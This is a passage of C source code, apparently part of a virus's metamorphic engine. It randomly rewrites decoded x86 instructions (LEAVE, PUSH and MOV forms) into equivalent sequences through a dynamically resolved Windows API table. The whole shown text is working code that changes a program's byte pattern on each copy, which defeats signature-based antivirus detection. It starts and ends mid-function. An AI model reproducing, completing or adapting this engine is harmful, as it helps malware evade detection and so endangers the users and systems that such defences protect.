                    pNewSynonymousX86InstructionAbstraction->DBit=0;
                    pNewSynonymousX86InstructionAbstraction->WBit=1;
                    pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x89;
                    pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Data[1]=0xE5;
                    pNewSynonymousX86InstructionAbstraction->SourceRegister=4;
                    pNewSynonymousX86InstructionAbstraction->DestinationRegister=5;
                    pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                    pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit;
                    pNewSynonymousX86InstructionAbstraction->Mod=0xC0;
                    pNewSynonymousX86InstructionAbstraction->Reg=4;
                    pNewSynonymousX86InstructionAbstraction->Rm=5;
                    pNewSynonymousX86InstructionAbstraction->dwInstructionLength=2;
                    
                    pPreviousSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    
                    // Add Esp, -Constant32
                    
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                    
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->DestinationRegister=4;
                    pNewSynonymousX86InstructionAbstraction->DBitOpcode=pNewSynonymousX86InstructionAbstraction->WBitOpcode=0x80;
                    pNewSynonymousX86InstructionAbstraction->WBit=1;
                    pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x81;
                    pNewSynonymousX86InstructionAbstraction->DBit=0;
                    pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                    pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode;
                    pNewSynonymousX86InstructionAbstraction->Mod=0xC0;
                    pNewSynonymousX86InstructionAbstraction->Reg=0; // 000 - Add extended opcode
                    pNewSynonymousX86InstructionAbstraction->Rm=4;
                    pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Data[1]=(pNewSynonymousX86InstructionAbstraction->Mod|pNewSynonymousX86InstructionAbstraction->Rm);
                    pNewSynonymousX86InstructionAbstraction->dwDataOffset=2;
                    pNewSynonymousX86InstructionAbstraction->dwInstructionLength=6;
                    *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[2]=-dwConstant;
                    
                    pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                }
            }
        }
        
        // Walk instruction list and mutate double instructions
        
        for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {
            // Leave -> Mov Esp, Ebp + Pop Ebp ------------------------------|
            // Push Constant32 -> Add Esp, -4 + Mov Dword [Esp], Constant32 -|----------------------------------------|
            // Mov Reg1(32), Reg2(32) -> Push Reg2(32) + Pop Reg1(32) <------| Leave -> Push Ebp + Pop Esp + Pop Ebp  |
            // Mov Reg(32), [Effective Address (32)] -> Push [Effective Address (32)] + Pop Reg(32)                   |
            // Mov [Effective Address (32)], Reg(32) -> Push Reg(32) + Pop [Effective Address (32)]                   |
            // Mov Reg(32), Constant32 -> Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta                      |
            // Mov Reg(32), Constant32 -> Push Constant32 + Pop Reg(32)                                               |
            // Mov [Effective Address (32)], Constant32 -> Push Constant32 + Pop [Effective Address (32)] <-----------| Push Constant32 -> Add Esp, -4 + Push Constant32 + Pop Dword [Esp]
            // Mov [Effective Address (32)], Constant32 -> Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta
            
            if((pAPITable->Rand() % 2) == 0)
            {
                continue;
            }
            
            if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch)))
            {
                if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC9) // Performing this mutation first allows for the possibility of additional mutations
                {
                    // Leave -> Mov Esp, Ebp + Pop Ebp
                    
                    pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x88;
                    pCurrentSynonymousX86InstructionAbstraction->DBit=0;
                    pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                    pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x89;
                    pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[1]=0xEC;
                    pCurrentSynonymousX86InstructionAbstraction->SourceRegister=5;
                    pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=4;
                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit;
                    pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                    pCurrentSynonymousX86InstructionAbstraction->Reg=5;
                    pCurrentSynonymousX86InstructionAbstraction->Rm=4;
                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=2;
                    
                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                    
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->DestinationRegister=5;
                    pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                    pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                    pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=0x5D;
                    
                    if((pAPITable->Rand() % 2) == 0)
                    {
                        continue;
                    }
                }
                else if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x68)
                {
                    // Push Constant32 -> Add Esp, -4 + Mov Dword [Esp], Constant32
                    
                    dwConstant=*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1];
                    
                    pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=4;
                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=3;
                    pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83;
                    pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80;
                    pCurrentSynonymousX86InstructionAbstraction->DBit=1;
                    pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                    pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82;
                    pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                    pCurrentSynonymousX86InstructionAbstraction->Rm=0x04;
                    pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[1]=0xC4;
                    pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=2;
                    (CHAR)pCurrentSynonymousX86InstructionAbstraction->Data[2]=-4;
                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=(X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit);
                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=(X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode);
                    
                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                    
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction != NULL)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction)
                        {
                            pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol=pNewSynonymousX86InstructionAbstraction;
                            pNewSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=NULL;
                        }
                    }
                                
                    pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0xC7;
                    pNewSynonymousX86InstructionAbstraction->Mod=pNewSynonymousX86InstructionAbstraction->Reg=0x00;
                    pNewSynonymousX86InstructionAbstraction->dwDataOffset=3;
                    pNewSynonymousX86InstructionAbstraction->WBit=1;
                    pNewSynonymousX86InstructionAbstraction->WBitOpcode=0xC6;
                    *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[pNewSynonymousX86InstructionAbstraction->dwDataOffset]=dwConstant;
                    pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Rm=0x04;
                    pNewSynonymousX86InstructionAbstraction->dwStandardFlags=(X86InstructionStandardFlagSIB|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit|X86InstructionStandardFlagData32);
                    pNewSynonymousX86InstructionAbstraction->Scale=1;
                    pNewSynonymousX86InstructionAbstraction->Index=pNewSynonymousX86InstructionAbstraction->Base=4;
                    pNewSynonymousX86InstructionAbstraction->Data[2]=pNewSynonymousX86InstructionAbstraction->SIB=0x24;
                    pNewSynonymousX86InstructionAbstraction->dwInstructionLength=7;
                    
                    if((pAPITable->Rand() % 2) == 0)
                    {
                        continue;
                    }
                }
                
                CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->SourceRegister;
                CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                                                
                if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x88)
                {
                    if(pCurrentSynonymousX86InstructionAbstraction->WBit == 1)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0)
                        {
                            // Mov Reg1(32), Reg2(32) -> Push Reg2(32) + Pop Reg1(32)
                            
                            pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentSourceRegister;
                            pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=(0x50 + CurrentSourceRegister);
                            
                            pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                            
                            pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                            
                            pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                            pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                            
                            pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                            pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                            pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                            pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=(0x58 + CurrentDestinationRegister);
                            
                            pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                            
                            continue;
                        }
                        else
                        {
                            if(pCurrentSynonymousX86InstructionAbstraction->DBit == 1)
                            {
                                // Mov Reg(32), [Effective Address (32)] -> Push [Effective Address (32)] + Pop Reg(32)
                                
                                pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentSourceRegister;
                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagExtendedOpcode|X86InstructionExtendedFlag32BitSingleModRM;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xFF;
                                pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111
                                pCurrentSynonymousX86InstructionAbstraction->ModRM |= 0x30; // 00110000 - Push extended opcode
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                pCurrentSynonymousX86InstructionAbstraction->Reg=0x06; // 110
                                
                                pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                
                                pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                            
                                pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                                pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                                
                                pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                                pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                                pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                                pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=(0x58 + CurrentDestinationRegister);
                                
                                pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                                
                                continue;
                            }
                            else if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL)
                            {
                                // Mov [Effective Address (32)], Reg(32) -> Push Reg(32) + Pop [Effective Address (32)]
                                
                                pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                                
                                RelocateMemory(pNewSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION));
                                
                                if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction != NULL)
                                {
                                    if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction)
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol=pNewSynonymousX86InstructionAbstraction;
                                        pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=NULL;
                                    }
                                }

                                pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset=0;
                                pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentSourceRegister;
                                pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister;
                                pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                                pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=0;
                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0;
                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                                pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=(0x50 + CurrentSourceRegister);

                                pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                
                                pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                                pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                                pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                                
                                if(pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL)
                                {
                                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                                }
                                
                                pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->WBitOpcode=pNewSynonymousX86InstructionAbstraction->DBitOpcode=pNewSynonymousX86InstructionAbstraction->Opcode=0x8F;
                                pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=(X86InstructionExtendedFlagBlankReg|X86InstructionExtendedFlag32BitSingleModRM);
                                pNewSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM;
                                pNewSynonymousX86InstructionAbstraction->ModRM &= 0xC7;
                                pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM;
                                pNewSynonymousX86InstructionAbstraction->Reg=0x00;

                                pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                                
                                continue;
                            }
                        }
                    }
                }
                
                if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch))
                {
                    // Mov Reg(32), Constant32 -> Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta
                    
                    dwDelta=pAPITable->Rand();

                    *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1] -= dwDelta;
                    
                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->DBitOpcode=0x80;
                    pNewSynonymousX86InstructionAbstraction->WBitOpcode=0x80;
                    pNewSynonymousX86InstructionAbstraction->WBit=1;
                    pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x81;
                    pNewSynonymousX86InstructionAbstraction->Mod=0xC0;
                    pNewSynonymousX86InstructionAbstraction->Rm=CurrentDestinationRegister;
                    pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                    pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Data[1]=(pNewSynonymousX86InstructionAbstraction->Mod|pNewSynonymousX86InstructionAbstraction->Rm);
                    pNewSynonymousX86InstructionAbstraction->dwDataOffset=2;
                    *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[2]=dwDelta;
                    pNewSynonymousX86InstructionAbstraction->dwInstructionLength=6;
                    pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                    pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode;
                    
                    if((pAPITable->Rand() % 2) == 0)
                    {
                        continue;
                    }
                }
                
                if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF)
                {
                    // Mov Reg(32), Constant32 -> Push Constant32 + Pop Reg(32)
                    
                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagRegWBit;
                    pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x68;
                    
                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                    pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1;
                    pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                    pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=(0x58 + CurrentDestinationRegister);
                    
                    pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    
                    continue;
                }
                
                if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC7 && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL)
                {
                    // Mov [Effective Address (32)], Constant32 -> Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta
                    
                    dwDelta=pAPITable->Rand();

                    *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] -= dwDelta;
                    
                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                                
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                
                    RelocateMemory(pNewSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION));
                
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->DBitOpcode=0x80;
                    pNewSynonymousX86InstructionAbstraction->DBit=0;
                    pNewSynonymousX86InstructionAbstraction->Rm=pNewSynonymousX86InstructionAbstraction->DestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                    pNewSynonymousX86InstructionAbstraction->WBitOpcode=0x80;
                    pNewSynonymousX86InstructionAbstraction->WBit=1;
                    pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x81;
                    pNewSynonymousX86InstructionAbstraction->Reg=0x00;
                    pNewSynonymousX86InstructionAbstraction->ModRM &= 0xC7;
                    pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM;
                    *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[pNewSynonymousX86InstructionAbstraction->dwDataOffset]=dwDelta;
                    pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                    pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode;
                    
                    if((pAPITable->Rand() % 2) == 0)
                    {
                        continue;
                    }
                }
                
                if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC7)
                {
                    // Mov [Effective Address (32)], Constant32 -> Push Constant32 + Pop [Effective Address (32)]
                    
                    pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
                    
                    RelocateMemory(pNewSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION));
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction != NULL)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction)
                        {
                            pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol=pNewSynonymousX86InstructionAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=NULL;
                        }
                    }
                                
                    pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x68;
                    *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1]=*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset];
                    pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=1;
                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32;
                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=5;
                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=0;
                    
                    pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                    pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
                    
                    pNewSynonymousX86InstructionAbstraction->dwDataOffset=0;
                    pNewSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=NULL;
                    pNewSynonymousX86InstructionAbstraction->dwInstructionLength -= 4;
                    pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x8F;
                    pNewSynonymousX86InstructionAbstraction->ModRM &= 0xC7;
